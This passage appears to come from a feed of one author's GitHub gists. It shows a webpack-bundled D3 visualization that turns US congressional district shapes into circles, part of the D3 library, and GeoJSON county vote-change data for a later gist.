/******/ 			id: moduleId,
/******/ 			loaded: false
/******/ 		};

/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);

/******/ 		// Flag the module as loaded
/******/ 		module.loaded = true;

/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}


/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;

/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;

/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = &quot;&quot;;

/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports, __webpack_require__) {

	&quot;use strict&quot;;

	var $,
	    CongressViz,
	    _,
	    d3,
	    flubber,
	    pathparse,
	    pathserialize,
	    pathtranslate,
	    polylabel,
	    stateCodeToFips,
	    topojson,
	    bind = function bind(t, e) {
	  return function () {
	    return t.apply(e, arguments);
	  };
	};d3 = __webpack_require__(1), _ = __webpack_require__(2), $ = __webpack_require__(4), flubber = __webpack_require__(5), topojson = __webpack_require__(6), polylabel = __webpack_require__(7), pathparse = __webpack_require__(9), pathtranslate = __webpack_require__(10), pathserialize = __webpack_require__(11), d3.queue().defer(d3.json, &quot;data/legislators-current.json&quot;).defer(d3.json, &quot;data/us-congress.r3.json&quot;).defer(d3.csv, &quot;data/dailykos-housedata.csv&quot;).awaitAll(function (t, e) {
	  var r, i, o, n;return console.log(&quot;results&quot;, e), n = e[0], i = e[1], r = e[2], _.each(i.objects.us_congress.geometries, function (t, e) {
	    var i, o, s, a, c, l;return l = t.properties.STATE_FIPS, o = t.properties.CONG_DIST, c = _.findKey(stateCodeToFips, function (t, e) {
	      return t === l;
	    }), i = c + &quot;-&quot; + o, a = _.find(n, function (t, e) {
	      var r, i;if (r = t.terms[t.terms.length - 1].district, i = t.terms[t.terms.length - 1].state, r === +o &amp;&amp; i === c) return !0;
	    }), s = _.find(r, function (t, e) {
	      if (t.Code === i) return !0;
	    }), t.properties.legislator = a, t.properties.kosdata = s;
	  }), console.log(&quot;cdists --\x3e&quot;, i.objects.us_congress.geometries), o = new CongressViz(), o.resultData = i, o.initDistMap();
	}), CongressViz = function () {
	  function t() {
	    this.makeInfobox = bind(this.makeInfobox, this), this.initSimulation = bind(this.initSimulation, this), this.simTick = bind(this.simTick, this), this.resultData = [], this.mapData = [], this.colorCatScale = d3.scaleOrdinal().range([&quot;#FB514E&quot;, &quot;#2d82ca&quot;, &quot;#49af37&quot;, &quot;#9065c8&quot;]), this.width = 1e3, this.height = 800, this.debug = d3.select(&quot;body&quot;).append(&quot;div&quot;).attr(&quot;id&quot;, &quot;debug&quot;), this.infobox = d3.select(&quot;body&quot;).append(&quot;div&quot;).attr(&quot;id&quot;, &quot;infobox&quot;), this.control = d3.select(&quot;#control&quot;), this.projection = d3.geoAlbers().scale(1280).translate([this.width / 2, this.height / 2]), this.path = d3.geoPath().projection(this.projection), this.t = d3.transition().duration(3500).ease(d3.easeLinear), this.svg = d3.select(&quot;#container&quot;).append(&quot;svg&quot;).attr(&quot;id&quot;, &quot;viz-svg&quot;).attr(&quot;width&quot;, this.width).attr(&quot;height&quot;, this.height), this.interpolators = [];
	  }return t.prototype.initDistMap = function () {
	    return this.mapData = topojson.feature(this.resultData, this.resultData.objects.us_congress), console.log(&quot;Making district map&quot;, this.mapData), _.each(this.mapData.features, function (t) {
	      return function (e, r) {
	        var i, o, n;console.log(&quot;Processing district&quot;), i = t.path(e.geometry);try {
	          n = flubber.toCircle(i, 0, 0, 8, { maxSegmentLength: .1 });
	        } catch (t) {
	          o = t, console.error(&quot;Problem making flubber interpolator&quot;, o), console.log(&quot;Problematic coords:&quot;, i);
	        }return t.mapData.features[r].toCircle = n, t.interpolators[r] = n;
	      };
	    }(this)), this.svg.selectAll(&quot;path.region&quot;).data(this.mapData.features, this.dataKey).enter().append(&quot;path&quot;).attr(&quot;class&quot;, &quot;region&quot;).attr(&quot;d&quot;, this.path).style(&quot;fill&quot;, function (t) {
	      var e;return e = t.properties.PARTY_AFF, &quot;Republican&quot; === e ? &quot;red&quot; : &quot;Democrat&quot; === e ? &quot;blue&quot; : &quot;grey&quot;;
	    }).on(&quot;mousedown&quot;, this.makeInfobox), this.addControl(&quot;Convert districts to circles&quot;, function (t) {
	      return function () {
	        return t.convertPathsToCircles2();
	      };
	    }(this)), this.addControl(&quot;Start simulation&quot;, function (t) {
	      return function () {
	        return t.initSimulation();
	      };
	    }(this));
	  }, t.prototype.simTick = function () {
	    var t;return console.log(&quot;tick&quot;), t = this.simulation.alpha(), this.debug.text(t), t &lt;= .001 &amp;&amp; this.simulation.alpha(.01), this.node.attr(&quot;transform&quot;, function (t) {
	      return function (e, r) {
	        var i;return i = void 0 !== e.r ? e.r : 9, e.x = Math.max(i, Math.min(t.width - i, e.x)), e.y = Math.max(i, Math.min(t.height - i, e.y)), &quot;translate(&quot; + e.x + &quot;,&quot; + e.y + &quot;)&quot;;
	      };
	    }(this));
	  }, t.prototype.initSimulation = function () {
	    return 0 === this.mapData.length &amp;&amp; console.error(&quot;Map data is not defined&quot;), this.simulation = d3.forceSimulation().nodes(this.mapData.features).force(&quot;collide&quot;, d3.forceCollide(function (t) {
	      return 9;
	    })).on(&quot;tick&quot;, this.simTick), console.log(&quot;simulation.nodes&quot;, this.simulation.nodes()), this.node = this.svg.selectAll(&quot;path.region&quot;);
	  }, t.prototype.makeInfobox = function (t) {
	    var e;return console.log(t), e = &quot;&quot;, t.properties.legislator &amp;&amp; (e += &quot;&lt;img class=&apos;congress-headshot&apos; src=&apos;https://theunitedstates.io/images/congress/450x550/&quot; + t.properties.legislator.id.bioguide + &quot;.jpg&apos; /&gt;&quot;, e += &quot;&lt;p&gt;Terms: &quot; + t.properties.legislator.terms.length + &quot;&lt;/p&gt;&quot;), e += &quot;&lt;h2&gt;&quot; + t.properties.CONG_REP + &quot;&lt;/h2&gt;&quot;, e += &quot;&lt;p&gt;&quot; + t.properties.PARTY_AFF + &quot; from &quot; + t.properties.STATE + &quot;-&quot; + t.properties.CONG_DIST + &quot;&lt;/p&gt;&quot;, this.infobox.html(e);
	  }, t.prototype.dataKey = function (t, e) {
	    return t.id;
	  }, t.prototype.addControl = function (t, e) {
	    return this.control.append(&quot;button&quot;).text(t).on(&quot;click&quot;, e);
	  }, t.prototype.distanceBetween = function (t, e) {
	    return Math.sqrt(Math.pow(t[0] - e[0], 2) + Math.pow(t[1] - e[1], 2));
	  }, t.prototype.pointBetween = function (t, e, r) {
	    var i;return i = [t[0] + (e[0] - t[0]) * r, t[1] + (e[1] - t[1]) * r], i.added = !0, i;
	  }, t.prototype.circleMaker = function (t, e) {
	    var r, i, o, n, s, a, c, l, h, u, d, p, f;for (null == e &amp;&amp; (e = 8), h = t[0], a = 0, c = [], n = [], l = t.length; ++s &lt; l;) {
	      u = t[s], p = u[0] - h[0], f = u[1] - h[1], c.push(a += Math.sqrt(p * p + f * f)), h = u;
	    }for (l &gt; 1 &amp;&amp; this.addPoints(t, 12), l = t.length, d = d3.polygonArea(t), d, o = d3.polygonCentroid(t), r = 0, s = -1, 2 * Math.PI / c[c.length - 1], o = this.projection(o), i = Math.atan((o[1] - t[0][1]) / (t[0][0] - o[0])), r = i; ++s &lt; l - 1;) {
	      r += 2 * Math.PI / l, n.push([(o[0] + e * Math.cos(r)).toFixed(2), (o[1] + e * Math.sin(r)).toFixed(2)]);
	    }return n;
	  }, t.prototype.addPoints = function (t, e) {
	    var r, i, o, n, s, a, c, l, h;for (n = t.length + e, h = d3.polygonLength(t) / e, s = 0, o = 0, a = h / 2, c = []; t.length &lt; n;) {
	      r = t[s], i = t[(s + 1) % t.length], l = this.distanceBetween(r, i), a &lt;= o + l ? (t.splice(s + 1, 0, this.pointBetween(r, i, (a - o) / l)), a += h) : (o += l, c.push(s++));
	    }return c;
	  }, t.prototype.convertPathsToCircles = function (t) {
	    return this.svg.selectAll(&quot;path.region&quot;).transition(this.t).attr(&quot;d&quot;, function (t) {
	      return function (e) {
	        var r, i;return r = 9, e.radius = r, i = t.circleMaker(e.geometry.coordinates[0], r), e.centroid = t.path.centroid(e.geometry), e.x = e.centroid[0], e.y = e.centroid[1], _.each(i, function (t, r) {
	          return i[r][0] = t[0] - e.centroid[0], i[r][1] = t[1] - e.centroid[1];
	        }), &quot;M&quot; + i.join(&quot;L&quot;) + &quot;Z&quot;;
	      };
	    }(this)).attr(&quot;transform&quot;, function (t) {
	      return &quot;translate(&quot; + t.centroid[0] + &quot;,&quot; + t.centroid[1] + &quot;)&quot;;
	    });
	  }, t.prototype.convertPathsToCircles2 = function () {
	    return this.svg.selectAll(&quot;path.region&quot;).transition().duration(1600).delay(function (t, e) {
	      return 50 * e;
	    }).attrTween(&quot;d&quot;, function (t) {
	      return function (e, r) {
	        return t.interpolators[r];
	      };
	    }(this)).attr(&quot;transform&quot;, function (t) {
	      return function (e) {
	        return e.centroid = t.path.centroid(e.geometry), e.x = e.centroid[0], e.y = e.centroid[1], &quot;translate(&quot; + e.centroid[0] + &quot;,&quot; + e.centroid[1] + &quot;)&quot;;
	      };
	    }(this));
	  }, t.prototype.sizeCirclesByMetric = function (t) {
	    return this.svg.selectAll(&quot;path.region&quot;).transition(this.t).attr(&quot;d&quot;, function (e) {
	      return function (r) {
	        var i, o, n;return n = d3.scaleLinear().domain([0, 100]).range([2, 14]), t &amp;&amp; r.properties.kosdata &amp;&amp; (o = r.properties.kosdata[t]), r.radius = n(o), e.simulation.force(&quot;collide&quot;, d3.forceCollide(function (t) {
	          return t.radius + 2;
	        })), i = e.circleMaker(r.geometry.coordinates[0], r.radius), r.centroid = e.path.centroid(r.geometry), r.x = r.centroid[0], r.y = r.centroid[1], _.each(i, function (t, e) {
	          return i[e][0] = t[0] - r.centroid[0], i[e][1] = t[1] - r.centroid[1];
	        }), &quot;M&quot; + i.join(&quot;L&quot;) + &quot;Z&quot;;
	      };
	    }(this));
	  }, t;
	}(), stateCodeToFips = { AK: &quot;02&quot;, AL: &quot;01&quot;, AR: &quot;05&quot;, AS: &quot;60&quot;, AZ: &quot;04&quot;, CA: &quot;06&quot;, CO: &quot;08&quot;, CT: &quot;09&quot;, DC: &quot;11&quot;, DE: &quot;10&quot;, FL: &quot;12&quot;, GA: &quot;13&quot;, GU: &quot;66&quot;, HI: &quot;15&quot;, IA: &quot;19&quot;, ID: &quot;16&quot;, IL: &quot;17&quot;, IN: &quot;18&quot;, KS: &quot;20&quot;, KY: &quot;21&quot;, LA: &quot;22&quot;, MA: &quot;25&quot;, MD: &quot;24&quot;, ME: &quot;23&quot;, MI: &quot;26&quot;, MN: &quot;27&quot;, MO: &quot;29&quot;, MS: &quot;28&quot;, MT: &quot;30&quot;, NC: &quot;37&quot;, ND: &quot;38&quot;, NE: &quot;31&quot;, NH: &quot;33&quot;, NJ: &quot;34&quot;, NM: &quot;35&quot;, NV: &quot;32&quot;, NY: &quot;36&quot;, OH: &quot;39&quot;, OK: &quot;40&quot;, OR: &quot;41&quot;, PA: &quot;42&quot;, PR: &quot;72&quot;, RI: &quot;44&quot;, SC: &quot;45&quot;, SD: &quot;46&quot;, TN: &quot;47&quot;, TX: &quot;48&quot;, UT: &quot;49&quot;, VA: &quot;51&quot;, VI: &quot;78&quot;, VT: &quot;50&quot;, WA: &quot;53&quot;, WI: &quot;55&quot;, WV: &quot;54&quot;, WY: &quot;56&quot; };

/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {

	// https://d3js.org Version 4.9.1. Copyright 2017 Mike Bostock.
	(function (global, factory) {
		 true ? factory(exports) :
		typeof define === &apos;function&apos; &amp;&amp; define.amd ? define([&apos;exports&apos;], factory) :
		(factory((global.d3 = global.d3 || {})));
	}(this, (function (exports) { &apos;use strict&apos;;

	var version = &quot;4.9.1&quot;;

	var ascending = function(a, b) {
	  return a &lt; b ? -1 : a &gt; b ? 1 : a &gt;= b ? 0 : NaN;
	};

	var bisector = function(compare) {
	  if (compare.length === 1) compare = ascendingComparator(compare);
	  return {
	    left: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &lt; 0) lo = mid + 1;
	        else hi = mid;
	      }
	      return lo;
	    },
	    right: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &gt; 0) hi = mid;
	        else lo = mid + 1;
	      }
	      return lo;
	    }
	  };
	};

	function ascendingComparator(f) {
	  return function(d, x) {
	    return ascending(f(d), x);
	  };
	}

	var ascendingBisect = bisector(ascending);
	var bisectRight = ascendingBisect.right;
	var bisectLeft = ascendingBisect.left;

	var pairs = function(array, f) {
	  if (f == null) f = pair;
	  var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n &lt; 0 ? 0 : n);
	  while (i &lt; n) pairs[i] = f(p, p = array[++i]);
	  return pairs;
	};

	function pair(a, b) {
	  return [a, b];
	}

	var cross = function(values0, values1, reduce) {
	  var n0 = values0.length,
	      n1 = values1.length,
	      values = new Array(n0 * n1),
	      i0,
	      i1,
	      i,
	      value0;

	  if (reduce == null) reduce = pair;

	  for (i0 = i = 0; i0 &lt; n0; ++i0) {
	    for (value0 = values0[i0], i1 = 0; i1 &lt; n1; ++i1, ++i) {
	      values[i] = reduce(value0, values1[i1]);
	    }
	  }

	  return values;
	};

	var descending = function(a, b) {
	  return b &lt; a ? -1 : b &gt; a ? 1 : b &gt;= a ? 0 : NaN;
	};

	var number = function(x) {
	  return x === null ? NaN : +x;
	};

	var variance = function(values, valueof) {
	  var n = values.length,
	      m = 0,
	      i = -1,
	      mean = 0,
	      value,
	      delta,
	      sum = 0;

	  if (valueof == null) {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(values[i]))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(valueof(values[i], i, values)))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  if (m &gt; 1) return sum / (m - 1);
	};

	var deviation = function(array, f) {
	  var v = variance(array, f);
	  return v ? Math.sqrt(v) : v;
	};

	var extent = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	      value,
	      min,
	      max;

	  if (valueof == null) {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = values[i]) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = values[i]) != null) {
	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = valueof(values[i], i, values)) != null) {
	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  return [min, max];
	};

	var array = Array.prototype;

	var slice = array.slice;
	var map = array.map;

	var constant = function(x) {
	  return function() {
	    return x;
	  };
	};

	var identity = function(x) {
	  return x;
	};

	var sequence = function(start, stop, step) {
	  start = +start, stop = +stop, step = (n = arguments.length) &lt; 2 ? (stop = start, start = 0, 1) : n &lt; 3 ? 1 : +step;

	  var i = -1,
	      n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
	      range = new Array(n);

	  while (++i &lt; n) {
	    range[i] = start + i * step;
	  }

	  return range;
	};

	var e10 = Math.sqrt(50);
	var e5 = Math.sqrt(10);
	var e2 = Math.sqrt(2);

	var ticks = function(start, stop, count) {
	  var reverse = stop &lt; start,
	      i = -1,
	      n,
	      ticks,
	      step;

	  if (reverse) n = start, start = stop, stop = n;

	  if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return [];

	  if (step &gt; 0) {
	    start = Math.ceil(start / step);
	    stop = Math.floor(stop / step);
	    ticks = new Array(n = Math.ceil(stop - start + 1));
	    while (++i &lt; n) ticks[i] = (start + i) * step;
	  } else {
	    start = Math.floor(start * step);
	    stop = Math.ceil(stop * step);
	    ticks = new Array(n = Math.ceil(start - stop + 1));
	    while (++i &lt; n) ticks[i] = (start - i) / step;
	  }

	  if (reverse) ticks.reverse();

	  return ticks;
	};

	function tickIncrement(start, stop, count) {
	  var step = (stop - start) / Math.max(0, count),
	      power = Math.floor(Math.log</code></pre><p><em>Truncated — <a href="https://gist.github.com/dd49ca9629df9c1db8f6d60ffb965c6d">view the full gist</a>.</em></p>
<h3>app.js</h3>
<h3>index.html</h3>
<h3>style.css</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Network Viz From Data Attrs]]></title>
      <link>https://gist.github.com/2b00e6575e7b9ef165d3c6ce2049a034</link>
      <guid isPermaLink="true">https://gist.github.com/2b00e6575e7b9ef165d3c6ce2049a034</guid>
      <pubDate>Wed, 28 Dec 2016 19:45:49 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-12-28T19:45:49.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[Network Viz From Data Attrs]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Network Viz Generated From Data Elements]]></title>
      <link>https://gist.github.com/ba23c04d6bcc3dc378d574f30f8f4ccd</link>
      <guid isPermaLink="true">https://gist.github.com/ba23c04d6bcc3dc378d574f30f8f4ccd</guid>
      <pubDate>Wed, 28 Dec 2016 19:43:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-12-28T19:43:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[Network Viz Generated From Data Elements]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[County Change Circles]]></title>
      <link>https://gist.github.com/06ad600f6b879bce7d77bcd9b22137b8</link>
      <guid isPermaLink="true">https://gist.github.com/06ad600f6b879bce7d77bcd9b22137b8</guid>
      <pubDate>Tue, 06 Dec 2016 20:51:14 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-12-06T20:51:17.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>36</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>35</code:size>
      </code:file>
      <code:file>
        <code:filename>counties.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>0</code:size>
      </code:file>
      <code:file>
        <code:filename>countiesWithData.geojson</code:filename>
        <code:language>JSON</code:language>
        <code:size>18616580</code:size>
      </code:file>
      <code:file>
        <code:filename>countiesWithData.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1139523</code:size>
      </code:file>
      <code:file>
        <code:filename>dist.css</code:filename>
        <code:language>Unknown</code:language>
        <code:size>29</code:size>
      </code:file>
      <code:file>
        <code:filename>dist.js</code:filename>
        <code:language>Unknown</code:language>
        <code:size>3893</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>Unknown</code:language>
        <code:size>432</code:size>
      </code:file>
      <code:file>
        <code:filename>script.js</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1017</code:size>
      </code:file>
      <code:file>
        <code:filename>style.styl</code:filename>
        <code:language>Unknown</code:language>
        <code:size>32</code:size>
      </code:file>
      <description><![CDATA[County Change Circles]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 720
border: no
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Histogram of a normal distribution
</code></pre>
<h3>counties.json</h3>
<h3>countiesWithData.geojson</h3><pre><code class="language-json">{
  &quot;type&quot;: &quot;FeatureCollection&quot;,
  &quot;crs&quot;: {
    &quot;type&quot;: &quot;name&quot;,
    &quot;properties&quot;: {
      &quot;name&quot;: &quot;urn:ogc:def:crs:OGC:1.3:CRS84&quot;
    }
  },
  &quot;features&quot;: [
    {
      &quot;type&quot;: &quot;Feature&quot;,
      &quot;properties&quot;: {
        &quot;id&quot;: &quot;22051&quot;,
        &quot;name&quot;: null,
        &quot;name2&quot;: &quot;Jefferson, LA&quot;,
        &quot;repDiffPer&quot;: &quot;3.10&quot;,
        &quot;repDiffVot&quot;: &quot;2244&quot;,
        &quot;demDiffPer&quot;: &quot;-1.10&quot;,
        &quot;demDiffVot&quot;: &quot;-3156&quot;,
        &quot;totalVotes&quot;: &quot;176343&quot;
      },
      &quot;geometry&quot;: {
        &quot;type&quot;: &quot;MultiPolygon&quot;,
        &quot;coordinates&quot;: [
          [
            [
              [
                -90.076578363858232,
                29.511809814743927
              ],
              [
                -90.072271249711108,
                29.501765134331833
              ],
              [
                -90.059349907269777,
                29.504612022363069
              ],
              [
                -90.03817326271313,
                29.48672497114795
              ],
              [
                -90.029200108239976,
                29.489786718653242
              ],
              [
                -90.017355544335402,
                29.485274669698079
              ],
              [
                -90.01879124905112,
                29.475713423102611
              ],
              [
                -90.04248037686024,
                29.477432298895053
              ],
              [
                -90.040326819786685,
                29.482750070877927
              ],
              [
                -90.051453531333394,
                29.492741036421506
              ],
              [
                -90.057914202554059,
                29.48726211983309
              ],
              [
                -90.086987223047089,
                29.493600474317727
              ],
              [
                -90.080526551826409,
                29.478506596265333
              ],
              [
                -90.065451652311509,
                29.486563826542412
              ],
              [
                -90.061144538164399,
                29.480386616663317
              ],
              [
                -90.072630175890041,
                29.474853985206387
              ],
              [
                -90.082680108899979,
                29.476680290735857
              ],
              [
                -90.097037156057013,
                29.468247056379184
              ],
              [
                -90.096678229878094,
                29.483179789826039
              ],
              [
                -90.104215679635544,
                29.492203887736366
              ],
              [
                -90.117854874434741,
                29.493493044580703
              ],
              [
                -90.112829907929765,
                29.505471460259294
              ],
              [
                -90.08339796125783,
                29.504612022363069
              ],
              [
                -90.076578363858232,
                29.511809814743927
              ]
            ]
          ],
          [
            [
              [
                -90.139390445170307,
                29.596840451601381
              ],
              [
                -90.148722525822393,
                29.61209547425932
              ],
              [
                -90.145133264033134,
                29.653939356831625
              ],
              [
                -90.130776216876086,
                29.654959939333388
              ],
              [
                -90.132570847770708,
                29.633259132453787
              ],
              [
                -90.139749371349239,
                29.628693368630106
              ],
              [
                -90.141185076064943,
                29.616983527294082
              ],
              [
                -90.131852995412856,
                29.609785734913224
              ],
              [
                -90.139390445170307,
                29.596840451601381
              ]
            ]
          ]
        ]
      }
    },
    {
      &quot;type&quot;: &quot;Feature&quot;,
      &quot;properties&quot;: {
        &quot;id&quot;: &quot;37031&quot;,
        &quot;name&quot;: null,
        &quot;name2&quot;: &quot;Carteret, NC&quot;,
        &quot;repDiffPer&quot;: &quot;-1.00&quot;,
        &quot;repDiffVot&quot;: &quot;-1453&quot;,
        &quot;demDiffPer&quot;: &quot;2.10&quot;,
        &quot;demDiffVot&quot;: &quot;495&quot;,
        &quot;totalVotes&quot;: &quot;35408&quot;
      },
      &quot;geometry&quot;: {
        &quot;type&quot;: &quot;MultiPolygon&quot;,
        &quot;coordinates&quot;: [
          [
            [
              [
                -76.285557790977649,
                34.882705802577121
              ],
              [
                -76.281609603009457,
                34.878140038753443
              ],
              [
                -76.315707590007449,
                34.852356901866784
              ],
              [
                -76.31965577797564,
                34.856600376479378
              ],
              [
                -76.299196985776845,
                34.871210820715149
              ],
              [
                -76.289864905124759,
                34.889312731404324
              ],
              [
                -76.285557790977649,
                34.882705802577121
              ]
            ]
          ]
        ]
      }
    },
    {
      &quot;type&quot;: &quot;Feature&quot;,
      &quot;properties&quot;: {
        &quot;id&quot;: &quot;53073&quot;,
        &quot;name&quot;: null,
        &quot;name2&quot;: &quot;Whatcom, WA&quot;,
        &quot;repDiffPer&quot;: &quot;4.40&quot;,
        &quot;repDiffVot&quot;: &quot;3718&quot;,
        &quot;demDiffPer&quot;: &quot;0.400&quot;,
        &quot;demDiffVot&quot;: &quot;-108&quot;,
        &quot;totalVotes&quot;: &quot;103029&quot;
      },
      &quot;geometry&quot;: {
        &quot;type&quot;: &quot;MultiPolygon&quot;,
        &quot;coordinates&quot;: [
          [
            [
              [
                -122.579856348876234,
                48.651706623079576
              ],
              [
                -122.593136617496498,
                48.651384333868492
              ],
              [
                -122.584522389202263,
                48.659710138488137
              ],
              [
                -122.579856348876234,
                48.651706623079576
              ]
            ]
          ],
          [
            [
              [
                -122.609288295548168,
                48.709288962126436
              ],
              [
                -122.606057959937829,
                48.698599703292182
              ],
              [
                -122.629747087746964,
                48.696827112631226
              ],
              [
                -122.650205879945759,
                48.711491271735511
              ],
              [
                -122.623645342705217,
                48.706388359226693
              ],
              [
                -122.615031114410982,
                48.718635349247855
              ],
              [
                -122.609288295548168,
                48.709288962126436
              ]
            ]
          ],
          [
            [
              [
                -122.682150309870195,
                48.717614766746095
              ],
              [
                -122.664562927102807,
                48.697579120790422
              ],
              [
                -122.63584883278871,
                48.685385845637768
              ],
              [
                -122.618620376200255,
                48.670345682453885
              ],
              [
                -122.607852590832465,
                48.639674492532464
              ],
              [
                -122.634772054251926,
                48.651706623079576
              ],
              [
                -122.673536081575961,
                48.680927511551118
              ],
              [
                -122.69327702141689,
                48.712243279894707
              ],
              [
                -122.718042927762809,
                48.716862758586899
              ],
              [
                -122.72235004190992,
                48.731097198743072
              ],
              [
                -122.715171518331402,
                48.748285956667509
              ],
              [
                -122.703685880605761,
                48.743827622580859
              ],
              [
                -122.682150309870195,
                48.717614766746095
              ]
            ]
          ],
          [
            [
              [
                -123.034615817575684,
                49.00208871039554
              ],
              [
                -123.022053401313286,
                48.977702160090246
              ],
              [
                -123.043947898227771,
                48.977272441142134
              ],
              [
                -123.080199442299318,
                48.971793524553718
              ],
              [
                -123.089531522951404,
                49.002034995527026
              ],
              [
                -123.034615817575684,
                49.00208871039554
              ]
            ]
          ],
          [
            [
              [
                -120.851985723525601,
                49.000316119734578
              ],
              [
                -120.863830287430162,
                48.980656477858503
              ],
              [
                -120.881058744018617,
                48.977433585747676
              ],
              [
                -120.881058744018617,
                48.966099748491246
              ],
              [
                -120.84050008579996,
                48.950307577148166
              ],
              [
                -120.835834045473916,
                48.939349743971334
              ],
              [
                -120.820041293601179,
                48.941498338711895
              ],
              [
                -120.800659279939154,
                48.958901956110388
              ],
              [
                -120.767279145299028,
                48.953960188207112
              ],
              [
                -120.754716729036602,
                48.932796530012652
              ],
              [
                -120.771227333267205,
                48.92710275395018
              ],
              [
                -120.762972031151918,
                48.888642908094248
              ],
              [
                -120.770150554730435,
                48.883325136111374
              ],
              [
                -120.762613104972985,
                48.87354903004185
              ],
              [
                -120.735693641553524,
                48.863074630681645
              ],
              [
                -120.737488272448147,
                48.827300528251413
              ],
              [
                -120.742872165132042,
                48.811830646119418
              ],
              [
                -120.735693641553524,
                48.803934560447878
              ],
              [
                -120.733181158301036,
                48.78212632383125
              ],
              [
                -120.725643708543586,
                48.773585659737542
              ],
              [
                -120.711286661386538,
                48.771974213682128
              ],
              [
                -120.689751090650958,
                48.745707642978843
              ],
              [
                -120.65457632511621,
                48.724167980704777
              ],
              [
                -120.681136862356738,
                48.713156432659439
              ],
              [
                -120.677906526746398,
                48.695269381444319
              ],
              [
                -120.703390285450155,
                48.69714940184231
              ],
              [
                -120.71200451374439,
                48.689307031039277
              ],
              [
                -120.716670554070433,
                48.664866765865469
              ],
              [
                -120.732822232122118,
                48.666585641657917
              ],
              [
                -120.751845319605195,
                48.657507828879076
              ],
              [
                -120.910131764511647,
                48.657400399142048
              ],
              [
                -120.910490690690565,
                48.640909934508286
              ],
              [
                -121.227063580503454,
                48.640909934508286
              ],
              [
                -121.751095801735687,
                48.643219673854382
              ],
              [
                -122.126173658713526,
                48.646120276754132
              ],
              [
                -122.166014464574346,
                48.645475698331964
              ],
              [
                -122.335786547206425,
                48.645099694252366
              ],
              [
                -122.488689099428967,
                48.645368268594936
              ],
              [
                -122.503763998943867,
                48.65621867203474
              ],
              [
                -122.490483730323604,
                48.671581124429707
              ],
              [
                -122.49873903243892,
                48.70241345895667
              ],
              [
                -122.512737153417021,
                48.697041972105282
              ],
              [
                -122.518838898458768,
                48.715197597662964
              ],
              [
                -122.505917556017437,
                48.72303996846599
              ],
              [
                -122.490842656502537,
                48.742055031919904
              ],
              [
                -122.493714065933943,
                48.75500031523174
              ],
              [
                -122.510224670164547,
                48.757578628920413
              ],
              [
                -122.540374469194347,
                48.777023411322432
              ],
              [
                -122.562986818466698,
                48.778849716851902
              ],
              [
                -122.59385446985435,
                48.771222205522932
              ],
              [
                -122.636566685146562,
                48.73620011125189
              ],
              [
                -122.651641584661462,
                48.715895890953647
              ],
              [
                -122.664204000923888,
                48.731634347428212
              ],
              [
                -122.673177155397042,
                48.734320090853899
              ],
              [
                -122.669228967428836,
                48.744901919951133
              ],
              [
                -122.647334470514352,
                48.774606242239301
              ],
              [
                -122.655948698808572,
                48.785241786205049
              ],
              [
                -122.679996752796626,
                48.802376829260979
              ],
              [
                -122.706916216216086,
                48.801356246759212
              ],
              [
